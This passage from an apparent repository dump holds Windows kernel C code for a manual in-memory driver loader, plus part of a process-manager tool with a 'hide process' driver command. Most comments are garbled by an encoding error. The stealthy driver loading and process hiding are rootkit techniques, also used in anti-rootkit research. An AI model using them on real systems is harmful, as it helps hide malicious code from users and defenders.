End;\n\t}\n\nEnd:\n\t//رļ\n\tif (hFile != NULL)\n\t{\n\t\tZwClose(hFile);\n\t}\n\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn pBuffer;\n}\n\n//ضλ\nNTSTATUS DoRelocation(PVOID pImageBuffer)\n{\n\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\tPIMAGE_NT_HEADERS pImageNtHeaders = NULL;\n\tPIMAGE_BASE_RELOCATION pImageBaseRelocation = NULL;\n\tULONG_PTR llDelta = 0;\n\tULONG ulTemp = 0;\n\tULONG ulSize = 0;\n\tPUSHORT chains = NULL;\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\tpImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pImageBuffer + ((PIMAGE_DOS_HEADER)pImageBuffer)->e_lfanew);\n\tif (pImageNtHeaders == NULL)\n\t{\n\t\tKdPrint((\"%s %d: RtlImageNtHeader failed\\n\", __FUNCTION__, __LINE__));\n\t\tntStatus = STATUS_UNSUCCESSFUL;\n\t\tgoto End;\n\t}\n\tllDelta = (ULONG_PTR)pImageBuffer - pImageNtHeaders->OptionalHeader.ImageBase;\n\n\tpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)(pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + (ULONG_PTR)pImageBuffer);\n\tulSize = pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;\n\tfor (ulTemp = 0; ulTemp < ulSize; ulTemp += pImageBaseRelocation->SizeOfBlock, pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pImageBaseRelocation + ulTemp))\n\t{\n\t\tfor (chains = (PUSHORT)((ULONG_PTR)pImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); chains < (PUSHORT)((ULONG_PTR)pImageBaseRelocation + pImageBaseRelocation->SizeOfBlock); ++chains)\n\t\t{\n\t\t\tswitch (*chains >> 12)\n\t\t\t{\n\t\t\tcase IMAGE_REL_BASED_ABSOLUTE:\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase IMAGE_REL_BASED_HIGHLOW:\n\t\t\t{\n\t\t\t\t*(PULONG)CONVERT_RVA(pImageBuffer, pImageBaseRelocation->VirtualAddress + (*chains & 0x0fff)) += (ULONG)llDelta;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase IMAGE_REL_BASED_DIR64:\n\t\t\t{\n\t\t\t\t*(PULONG_PTR)CONVERT_RVA(pImageBuffer, pImageBaseRelocation->VirtualAddress + (*chains & 0x0fff)) += llDelta;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tntStatus = STATUS_NOT_IMPLEMENTED;\n\t\t\t\tgoto End;\n\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tntStatus = STATUS_SUCCESS;\n\nEnd:\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn ntStatus;\n}\n\n//Ƚַ\nBOOLEAN xstricmp(LPCSTR s1, LPCSTR s2)\n{\n\tULONG i = 0;\n\n\tfor (i = 0; 0 == ((s1[i] ^ s2[i]) & 0xDF); ++i)\n\t{\n\t\tif (0 == s1[i])\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\n\treturn FALSE;\n}\n\n//ȡģַ\nPVOID GetModuleByName(LPCSTR driverName)\n{\n\tULONG size = 0;\n\tPVOID ImageBase = NULL;\n\tPRTL_MODULE_EXTENDED_INFO pDrivers = NULL;\n\tNTSTATUS status = STATUS_SUCCESS;\n\tULONG i = 0;\n\n\tstatus = fun_RtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), NULL);\n\tif NT_SUCCESS(status)\n\t{\n\t\tpDrivers = (PRTL_MODULE_EXTENDED_INFO)ExAllocatePool(PagedPool, size);\n\t\tif (pDrivers)\n\t\t{\n\t\t\tstatus = fun_RtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), pDrivers);\n\t\t\tif(NT_SUCCESS(status))\n\t\t\t{\n\t\t\t\tfor (i = 0; i < size / sizeof(RTL_MODULE_EXTENDED_INFO); ++i)\n\t\t\t\t{\n\t\t\t\t\tif (xstricmp(driverName, &pDrivers[i].FullPathName[pDrivers[i].FileNameOffset]))\n\t\t\t\t\t{\n\t\t\t\t\t\tImageBase = pDrivers[i].ImageBase;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tExFreePool(pDrivers);\n\t\t}\n\t}\n\n\treturn ImageBase;\n}\n\n//ȡַ\nPVOID GetRoutineByName(PVOID pImageBuffer, PCHAR cFunctionName)\n{\n\tULONG dirSize = 0;\n\tPIMAGE_EXPORT_DIRECTORY pExportDir = NULL;\n\tPULONG names = NULL;\n\tPUSHORT ordinals = NULL;\n\tPULONG functions = NULL;\n\tULONG i = 0;\n\tLPCSTR name = NULL;\n\n\tpExportDir = (PIMAGE_EXPORT_DIRECTORY)fun_RtlImageDirectoryEntryToData(pImageBuffer, TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, &dirSize);\n\tnames = (PULONG)CONVERT_RVA(pImageBuffer, pExportDir->AddressOfNames);\n\tordinals = (PUSHORT)CONVERT_RVA(pImageBuffer, pExportDir->AddressOfNameOrdinals);\n\tfunctions = (PULONG)CONVERT_RVA(pImageBuffer, pExportDir->AddressOfFunctions);\n\n\tfor (i = 0; i < pExportDir->NumberOfNames; ++i)\n\t{\n\t\tname = (LPCSTR)CONVERT_RVA(pImageBuffer, names[i]);\n\t\tif (0 == strcmp(cFunctionName, name))\n\t\t{\n\t\t\treturn CONVERT_RVA(pImageBuffer, functions[ordinals[i]]);\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n//޸ĵ\nNTSTATUS FindImports(PVOID pImageBuffer)\n{\n\tPIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;\n\tPIMAGE_NT_HEADERS pImageNtHeaders = NULL;\n\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\tULONG ulTemp = 0;\n\tULONG ulSize = 0;\n\tLPSTR libName = NULL;\n\tPVOID hModule = NULL;\n\tPIMAGE_THUNK_DATA pNames = NULL;\n\tPIMAGE_THUNK_DATA pFuncP = NULL;\n\tPIMAGE_IMPORT_BY_NAME pIName = NULL;\n\tPVOID func = NULL;\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\t//õ׵ַpImportDescriptorСulSize\n\tpImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pImageBuffer + ((PIMAGE_DOS_HEADER)pImageBuffer)->e_lfanew);\n\tif (pImageNtHeaders == NULL)\n\t{\n\t\tKdPrint((\"%s %d: RtlImageNtHeader failed\\n\", __FUNCTION__, __LINE__));\n\t\tntStatus = STATUS_UNSUCCESSFUL;\n\t\tgoto End;\n\t}\n\tpImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (ULONG_PTR)pImageBuffer);\n\tulSize = pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;\n\n\tfor (; pImportDescriptor->Name; pImportDescriptor++)\n\t{\n\t\tlibName = (PCHAR)((ULONG_PTR)pImageBuffer + pImportDescriptor->Name);\n\t\thModule = GetModuleByName(libName);\n\t\tif (hModule)\n\t\t{\n\t\t\tpNames = (PIMAGE_THUNK_DATA)CONVERT_RVA(pImageBuffer, pImportDescriptor->OriginalFirstThunk);\n\t\t\tpFuncP = (PIMAGE_THUNK_DATA)CONVERT_RVA(pImageBuffer, pImportDescriptor->FirstThunk);\n\n\t\t\tfor (; pNames->u1.ForwarderString; ++pNames, ++pFuncP)\n\t\t\t{\n\t\t\t\tpIName = (PIMAGE_IMPORT_BY_NAME)CONVERT_RVA(pImageBuffer, pNames->u1.AddressOfData);\n\t\t\t\tfunc = GetRoutineByName(hModule, pIName->Name);\n\t\t\t\tif (func)\n\t\t\t\t{\n\t\t\t\t\tpFuncP->u1.Function = (ULONG_PTR)func;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tntStatus = STATUS_PROCEDURE_NOT_FOUND;\n\t\t\t\t\tgoto End;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tntStatus = STATUS_DRIVER_UNABLE_TO_LOAD;\n\t\t\tgoto End;\n\t\t}\n\t}\n\n\tntStatus = STATUS_SUCCESS;\n\nEnd:\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn ntStatus;\n}\n\n//ʼַΪpFileBufferСΪsBufferLengthΪwDriverNameļֵΪģַ\nPVOID MemLoadDriverByFileBuffer(PVOID pFileBuffer, SIZE_T sBufferLength, PWCHAR wDriverName)\n{\n\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\tPIMAGE_NT_HEADERS pImageNtHeaders = NULL;\n\tPIMAGE_SECTION_HEADER pImageSectionHeader = NULL;\n\tULONG ulTemp = 0;\n\tPVOID pImageBuffer = NULL;\n\tPDRIVER_INITIALIZE pDriverInitialize = NULL;\n\tUNICODE_STRING ustrDriverName = { 0 };\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\t//У\n\tif (pFileBuffer == NULL || sBufferLength == 0 || wDriverName == NULL)\n\t{\n\t\tKdPrint((\"%s %d: Parameter error\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\t\n\t{\n\t\t//ģӳڴpImageBuffer\n\t\tpImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);\n\t\tif (pImageNtHeaders == NULL)\n\t\t{\n\t\t\tKdPrint((\"%s %d: RtlImageNtHeader failed\\n\", __FUNCTION__, __LINE__));\n\t\t\tntStatus = STATUS_UNSUCCESSFUL;\n\t\t\tgoto End;\n\t\t}\n\t\tpImageBuffer = ExAllocatePool(NonPagedPool, pImageNtHeaders->OptionalHeader.SizeOfImage);\n\t\tif (pImageBuffer == NULL)\n\t\t{\n\t\t\tKdPrint((\"%s %d: ExAllocatePool failed\\n\", __FUNCTION__, __LINE__));\n\t\t\tgoto End;\n\t\t}\n\n\t\t//NTͷ\n\t\tRtlCopyMemory(pImageBuffer, pFileBuffer, pImageNtHeaders->OptionalHeader.SizeOfHeaders);\n\n\t\t//Section\n\t\tpImageSectionHeader = (PIMAGE_SECTION_HEADER)(((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (ULONG_PTR)pFileBuffer);\n\t\tfor (ulTemp = 0; ulTemp < pImageNtHeaders->FileHeader.NumberOfSections; ++ulTemp)\n\t\t{\n\t\t\tRtlCopyMemory((PCHAR)pImageBuffer + pImageSectionHeader[ulTemp].VirtualAddress, (PCHAR)pFileBuffer + pImageSectionHeader[ulTemp].PointerToRawData, pImageSectionHeader[ulTemp].SizeOfRawData);\n\t\t}\n\n\t\t//ضλ\n\t\tntStatus = DoRelocation(pImageBuffer);\n\t\tif (!NT_SUCCESS(ntStatus))\n\t\t{\n\t\t\tKdPrint((\"%s %d: DoRelocation failed\\n\", __FUNCTION__, __LINE__));\n\t\t\tExFreePool(pImageBuffer);\n\t\t\tpImageBuffer = NULL;\n\t\t\tgoto End;\n\t\t}\n\n\t\t//޸\n\t\tntStatus = FindImports(pImageBuffer);\n\t\tif (!NT_SUCCESS(ntStatus))\n\t\t{\n\t\t\tKdPrint((\"%s %d: FindImports failed\\n\", __FUNCTION__, __LINE__));\n\t\t\tExFreePool(pImageBuffer);\n\t\t\tpImageBuffer = NULL;\n\t\t\tgoto End;\n\t\t}\n\n\t\t//\n\t\tustrDriverName.Length = wcslen(wDriverName) * sizeof(WCHAR);\n\t\tustrDriverName.MaximumLength = (wcslen(wDriverName) + 1) * sizeof(WCHAR);\n\t\tustrDriverName.Buffer = wDriverName;\n\t\tpDriverInitialize = (PDRIVER_INITIALIZE)CONVERT_RVA(pImageBuffer, pImageNtHeaders->OptionalHeader.AddressOfEntryPoint);\n\t\tntStatus = fun_IoCreateDriver(&ustrDriverName, pDriverInitialize);\n\t\tif (!NT_SUCCESS(ntStatus))\n\t\t{\n\t\t\tKdPrint((\"%s %d: IoCreateDriver failed\\n\", __FUNCTION__, __LINE__));\n\t\t\tExFreePool(pImageBuffer);\n\t\t\tpImageBuffer = NULL;\n\t\t\tgoto End;\n\t\t}\n\t}\n\nEnd:\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn pImageBuffer;\n}\n\n//ļ·ΪwDriverPathΪwDriverName򣬺ֵΪģַ\nPVOID MemLoadDriverByFilePath(PWCHAR wDriverPath, PWCHAR wDriverName)\n{\n\tUNICODE_STRING ustrDriverPath = { 0 };\n\tSIZE_T sBufferLength = 0;\n\tPVOID pFileBuffer = NULL;\n\tPVOID pImageBuffer = NULL;\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\t//У\n\tif (wDriverPath == NULL || wDriverName == NULL)\n\t{\n\t\tKdPrint((\"%s %d: Parameter error!\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ڴļ\n\tustrDriverPath.Length = wcslen(wDriverPath) * sizeof(WCHAR);\n\tustrDriverPath.MaximumLength = (wcslen(wDriverPath) + 1) * sizeof(WCHAR);\n\tustrDriverPath.Buffer = wDriverPath;\n\tpFileBuffer = LoadFileToMemory(&ustrDriverPath, &sBufferLength);\n\tif (pFileBuffer == NULL)\n\t{\n\t\tKdPrint((\"%s %d: LoadFileToMemory failed!\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\tKdPrint((\"FileBuffer: 0x%p Length: %d bytes\\n\", pFileBuffer, sBufferLength));\n\n\t//\n\tpImageBuffer = MemLoadDriverByFileBuffer(pFileBuffer, sBufferLength, wDriverName);\n\tif (pImageBuffer == NULL)\n\t{\n\t\tKdPrint((\"%s %d: MemLoadDriver failed!\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\tKdPrint((\"ImageBuffer: 0x%p\\n\", pImageBuffer));\n\nEnd:\n\tif (pFileBuffer)\n\t{\n\t\tExFreePool(pFileBuffer);\n\t}\n\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn pImageBuffer;\n}\n" }, { "path": "MmLoadDriver/MemLoadDriver/MemLoadDriver.h", "content": "#pragma once\n\n#define CONVERT_RVA(base, offset) ((PVOID)((PUCHAR)(base) + (ULONG)(offset)))\n\ntypedef struct _RTL_MODULE_EXTENDED_INFO\n{\n\tPVOID ImageBase;\n\tULONG ImageSize;\n\tUSHORT FileNameOffset;\n\tCHAR FullPathName[0x100];\n} RTL_MODULE_EXTENDED_INFO, *PRTL_MODULE_EXTENDED_INFO;\n\nPVOID MemLoadDriverByFilePath(PWCHAR wDriverPath, PWCHAR wDriverName);\n" }, { "path": "MmLoadDriver/MemLoadDriver/SOURCES", "content": "TARGETNAME=MemLoadDriver\nTARGETPATH=OBJ\nTARGETTYPE=DRIVER\n\nSOURCES=\\\n\tmain.c\\\n\tMemLoadDriver.c" }, { "path": "MmLoadDriver/MemLoadDriver/main.c", "content": "#include \"precomp.h\"\n\n#include \"main.h\"\n#include \"MemLoadDriver.h\"\n\n//ж\nVOID DriverUnload(PDRIVER_OBJECT pDriverObject)\n{\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\t\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n}\n\n//ڵ㺯\nNTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)\n{\n\tUNICODE_STRING ustr = { 0 };\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\t//жغ\n\tpDriverObject->DriverUnload = DriverUnload;\n\n\t//ȡַRtlImageDirectoryEntryToData\n\tRtlInitUnicodeString(&ustr, L\"RtlImageDirectoryEntryToData\");\n\tfun_RtlImageDirectoryEntryToData = (Fun_RtlImageDirectoryEntryToData)MmGetSystemRoutineAddress(&ustr);\n\tif (fun_RtlImageDirectoryEntryToData == NULL)\n\t{\n\t\tKdPrint((\"%s %d: MmGetSystemRoutineAddress RtlImageDirectoryEntryToData failed\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ȡַIoCreateDriver\n\tRtlInitUnicodeString(&ustr, L\"IoCreateDriver\");\n\tfun_IoCreateDriver = (Fun_IoCreateDriver)MmGetSystemRoutineAddress(&ustr);\n\tif (fun_IoCreateDriver == NULL)\n\t{\n\t\tKdPrint((\"%s %d: MmGetSystemRoutineAddress IoCreateDriver failed\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ȡַRtlQueryModuleInformation\n\tRtlInitUnicodeString(&ustr, L\"RtlQueryModuleInformation\");\n\tfun_RtlQueryModuleInformation = (Fun_RtlQueryModuleInformation)MmGetSystemRoutineAddress(&ustr);\n\tif (fun_RtlQueryModuleInformation == NULL)\n\t{\n\t\tKdPrint((\"%s %d: MmGetSystemRoutineAddress RtlQueryModuleInformation failed\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ڴģ飬ļ·ΪDRIVER_TO_MEMLOADΪDRIVER_NAME\n\tif (!MemLoadDriverByFilePath(DRIVER_TO_MEMLOAD, DRIVER_NAME))\n\t{\n\t\tKdPrint((\"%s %d: MemLoadDriverByFilePath failed\\n\", __FUNCTION__, __LINE__));\n\t}\n\telse\n\t{\n\t\tKdPrint((\"MemLoadDriverByFilePath Success!\\n\"));\n\t}\n\nEnd:\n\tKdPrint((\"<--%s %d\\n\", __FUNCTION__, __LINE__));\n\treturn STATUS_SUCCESS;\n}" }, { "path": "MmLoadDriver/MemLoadDriver/main.h", "content": "#include \n#include \n#include \n" }, { "path": "MmLoadDriver/MemLoadDriver/precomp.h", "content": "#pragma once\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#define DRIVER_TO_MEMLOAD L\"\\\\??\\\\C:\\\\test.sys\"\n#define DRIVER_NAME L\"\\\\FileSystem\\\\test\"\n\ntypedef PVOID(NTAPI *Fun_RtlImageDirectoryEntryToData)(\n\tIN PVOID Base,\n\tIN BOOLEAN MappedAsImage,\n\tIN USHORT DirectoryEntry,\n\tOUT PULONG Size\n\t);\nFun_RtlImageDirectoryEntryToData fun_RtlImageDirectoryEntryToData;\n\ntypedef NTSTATUS(NTAPI *Fun_IoCreateDriver)(\n\tIN PUNICODE_STRING DriverName,\n\tIN PDRIVER_INITIALIZE InitializationFunction\n\t);\nFun_IoCreateDriver fun_IoCreateDriver;\n\ntypedef NTSTATUS(NTAPI *Fun_RtlQueryModuleInformation)(\n\tULONG *InformationLength,\n\tULONG SizePerModule,\n\tPVOID InformationBuffer\n\t);\nFun_RtlQueryModuleInformation fun_RtlQueryModuleInformation;\n" }, { "path": "MmLoadDriver/test/MAKEFILE", "content": "!INCLUDE $(NTMAKEENV)\\makefile.def" }, { "path": "MmLoadDriver/test/SOURCES", "content": "TARGETNAME=test\nTARGETPATH=OBJ\nTARGETTYPE=DRIVER\n\nSOURCES=\\\n\tmain.c" }, { "path": "MmLoadDriver/test/main.c", "content": "#include \"precomp.h\"\n\n#include \"main.h\"\n\n//ڵ㺯\nNTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)\n{\n\tNTSTATUS ntStatus = STATUS_SUCCESS;\n\t\n\tKdPrint((\"test.sys loaded!\\n\"));\n\t\n\treturn ntStatus;\n}" }, { "path": "MmLoadDriver/test/main.h", "content": "#include \n#include \n#include \n" }, { "path": "MmLoadDriver/test/precomp.h", "content": "#pragma once\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n//ڴ־\n#define MEM_TAG 'HIPS'\n" }, { "path": "ProcessManager/ProcessManager/CEnumProcess.cpp", "content": "// EnumProcess.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"ProcessManager.h\"\r\n#include \"CEnumProcess.h\"\r\n#include \"afxdialogex.h\"\r\n#include \"resource.h\"\r\n\r\n// CEnumProcess Ի\r\nextern CCommon Common;\r\nIMPLEMENT_DYNAMIC(CEnumProcess, CDialogEx)\r\n\r\nCEnumProcess::CEnumProcess(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CEnumProcess::IDD, pParent)\r\n{\r\n\tProcessInformation = NULL;\r\n}\r\n\r\nCEnumProcess::~CEnumProcess()\r\n{\r\n}\r\n\r\nvoid CEnumProcess::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_LIST_PROCESS, m_List_EnumProcess);\r\n}\r\n\r\n\r\nBEGIN_MESSAGE_MAP(CEnumProcess, CDialogEx)\r\n\tON_BN_CLICKED(IDC_BUTTON_PSPCIDTABLE, &CEnumProcess::OnBnClickedButtonPspcidtable)\r\n\tON_BN_CLICKED(IDC_BUTTON_ACTIVEPROCESSLINKS, &CEnumProcess::OnBnClickedButtonActiveprocesslinks)\r\n\tON_BN_CLICKED(IDC_BUTTON_OPENPROCESS, &CEnumProcess::OnBnClickedButtonOpenprocess)\r\n\tON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS, &CEnumProcess::OnRclickListProcess)\r\n\tON_COMMAND(ID_MENU_HIDE, &CEnumProcess::OnMenuHide)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CEnumProcess Ϣ\r\n\r\n\r\nvoid CEnumProcess::OnBnClickedButtonPspcidtable()\r\n{\r\n\r\n\tEnumProcess(CTL_ENUMPROCESSPSPCIDTABLE);\r\n}\r\n\r\n\r\nvoid CEnumProcess::OnBnClickedButtonActiveprocesslinks()\r\n{\r\n\tEnumProcess(CTL_ENUMPROCESSACTIVELIST);\r\n}\r\n\r\n\r\nvoid CEnumProcess::OnBnClickedButtonOpenprocess()\r\n{\r\n\tEnumProcess(CTL_ENUMPROCESSBYOPENPROCESS);\r\n}\r\n\r\nVOID CEnumProcess::EnumProcess(ULONG_PTR Code)\r\n{\r\n\tm_List_EnumProcess.DeleteAllItems();\r\n\tULONG_PTR ulCount = 0x1000;\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\tdo \r\n\t{\r\n\t\tULONG_PTR ulSize = 0;\r\n\t\tif(ProcessInformation)\r\n\t\t{\r\n\t\t\tfree(ProcessInformation);\r\n\t\t\tProcessInformation = NULL;\r\n\t\t}\r\n\t\tulSize = sizeof(PROCESS_INFORMATION_OWN)+ulCount*sizeof(PROCESS_INFORMATION_ENTRY);\r\n\t\tProcessInformation = (PPROCESS_INFORMATION_OWN)malloc(ulSize);\r\n\t\tif(!ProcessInformation)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tmemset(ProcessInformation,0,ulSize);\r\n\t\tbRet = DeviceIoControl(Common.DeviceHandle,Code,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tProcessInformation,\r\n\t\t\tulSize,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\tulCount = ProcessInformation->NumberOfEntry + 1000;\r\n\r\n\t} while (bRet==FALSE&&GetLastError() == ERROR_INSUFFICIENT_BUFFER );\r\n\tif (bRet&& ProcessInformation )\r\n\t{\r\n\t\tCString Num;\r\n\t\tNum.Format(L\"%d\",ProcessInformation->NumberOfEntry);\r\n\t\tMessageBox(Num,L\"2\");\r\n\t\tAddItemToControlList(ProcessInformation);\r\n\t}\r\n\r\n\tif (ProcessInformation)\r\n\t{\r\n\t\tfree(ProcessInformation);\r\n\t\tProcessInformation = NULL;\r\n\t}\r\n}\r\n\r\nVOID CEnumProcess::AddItemToControlList(PPROCESS_INFORMATION_OWN ProcessInformation)\r\n{\r\n\r\n\t\r\n\tint i =0;\r\n\tfor(i>0;iNumberOfEntry;i++)\r\n\t{\r\n\t\tWCHAR wzImageName[50];\r\n// \t\tWCHAR* DestPoint = wcsrchr(ProcessInformation->Entry[i].ProcessPath,'\\\\'); //һγ һֽ\r\n// \t\tif(DestPoint!=NULL)\r\n// \t\t{\r\n// \t\t\twcscpy(wzImageName,DestPoint);\r\n// \t\t}\r\n\t\tmbstowcs(wzImageName,ProcessInformation->Entry[i].ProcessName,MAX_PATH);\r\n\t\tm_List_EnumProcess.InsertItem(i,wzImageName);\r\n\t\tCString Pid;\r\n\t\tPid.Format(L\"%d\",ProcessInformation->Entry[i].Pid);\r\n\t\tm_List_EnumProcess.SetItemText(i,1,Pid);\r\n\t\tCString Father;\r\n\t\tFather.Format(L\"%d\",ProcessInformation->Entry[i].ParentId);\r\n\t\tm_List_EnumProcess.SetItemText(i,2,Father);\r\n\t\tm_List_EnumProcess.SetItemText(i,3,ProcessInformation->Entry[i].ProcessPath);\r\n\t\tCString Eprocess;\r\n\t\tEprocess.Format(L\"0x%p\",ProcessInformation->Entry[i].Eprocess);\r\n\t\tm_List_EnumProcess.SetItemText(i,4,Eprocess);\r\n\t}\r\n}\r\n\r\nBOOL CEnumProcess::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// TODO: ڴӶijʼ\r\n\r\n\tm_List_EnumProcess.SetExtendedStyle(LVS_EX_FULLROWSELECT);\r\n\tm_List_EnumProcess.InsertColumn(0, L\"ӳ\", LVCFMT_LEFT, 100);\r\n\tm_List_EnumProcess.InsertColumn(1, L\"ID\", LVCFMT_LEFT, 100);\r\n\tm_List_EnumProcess.InsertColumn(2, L\"ID\", LVCFMT_LEFT, 100);\r\n\tm_List_EnumProcess.InsertColumn(3, L\"ӳ·\", LVCFMT_LEFT, 300);\r\n\tm_List_EnumProcess.InsertColumn(4, L\"EPROCESS\", LVCFMT_LEFT, 200);\r\n\t//m_List_EnumProcess.InsertColumn(5, L\"Ӧò\", LVCFMT_LEFT, 100);\r\n\t//m_List_EnumProcess.InsertColumn(6, L\"ļ\", LVCFMT_LEFT, 100);\r\n\r\n\r\n\treturn TRUE; // return TRUE unless you set the focus to a control\r\n\t// 쳣: OCX ҳӦ FALSE\r\n}\r\n\r\n\r\nvoid CEnumProcess::OnRclickListProcess(NMHDR *pNMHDR, LRESULT *pResult)\r\n{\r\n\tLPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR);\r\n\t// TODO: ڴӿؼ֪ͨ\r\n\tCMenu popup;\r\n\tpopup.LoadMenu(IDR_MENU1); //ز˵Դ\r\n\tCMenu* pM = popup.GetSubMenu(0); //ò˵\r\n\tCPoint p;\r\n\tGetCursorPos(&p);\r\n\tint count = pM->GetMenuItemCount();\r\n\tif (m_List_EnumProcess.GetSelectedCount() == 0) //ûѡ\r\n\t{ \r\n\t\tfor (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ\r\n\t\t}\r\n\t}\r\n\telse{\r\n\t\tPOSITION Pos = m_List_EnumProcess.GetFirstSelectedItemPosition(); \r\n\t\tint iItem = m_List_EnumProcess.GetNextSelectedItem(Pos); \r\n\t//\tstrProtect = m_ControlListMemoryInfor.GetItemText(iItem,2); \r\n\t//\tif(strProtect==L\"No Access\"||strProtect==L\"\"||strProtect==L\"Read\"||strProtect==L\"ReadExecute\")\r\n\t\t//{\r\n\t\t//\tpM->EnableMenuItem(3, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //ڴɫ\r\n\t\t//}\r\n\t}\r\n\tpM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);\r\n\r\n\r\n\t*pResult = 0;\r\n}\r\n\r\n\r\nvoid CEnumProcess::OnMenuHide()\r\n{\r\n\r\n\tULONG ulReturnSize = 0;\r\n\tPOSITION Pos = m_List_EnumProcess.GetFirstSelectedItemPosition(); \r\n\tint iItem = m_List_EnumProcess.GetNextSelectedItem(Pos); \r\n\tif (iItem==-1)\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\tCString Pid = m_List_EnumProcess.GetItemText(iItem,1); \r\n\tULONG_PTR ProcessId = 0;\r\n#ifdef _WIN64\r\n\tProcessId=_ttoi64(Pid);\r\n#else\r\n\tProcessId=_ttoi(Pid);\r\n#endif\r\n\tBOOL bRet = DeviceIoControl(Common.DeviceHandle,CTL_HIDEPROCESS,\r\n\t\t(PVOID)ProcessId,\r\n\t\tsizeof(ULONG_PTR),\r\n\t\tNULL,\r\n\t\tNULL,\r\n\t\t&ulReturnSize,\r\n\t\tNULL);\r\n\r\n}\r\n" }, { "path": "ProcessManager/ProcessManager/CEnumProcess.h", "content": "#pragma once\r\n#include \"afxcmn.h\"\r\n#include \"Common.h\"\r\n\r\n// CCEnumProcess Ի\r\n\r\n\r\n\r\ntypedef struct _PROCESS_INFORMATION_ENTRY_\r\n{\r\n\tchar ProcessName[50];\r\n\tULONG Pid;\r\n\tULONG ParentId;\r\n\tWCHAR ProcessPath[260];\r\n\tULONG_PTR Eprocess;\r\n\tBOOLEAN IsAccess;\r\n\tWCHAR Company[20];\r\n}PROCESS_INFORMATION_ENTRY, *PPROCESS_INFORMATION_ENTRY;\r\ntypedef struct 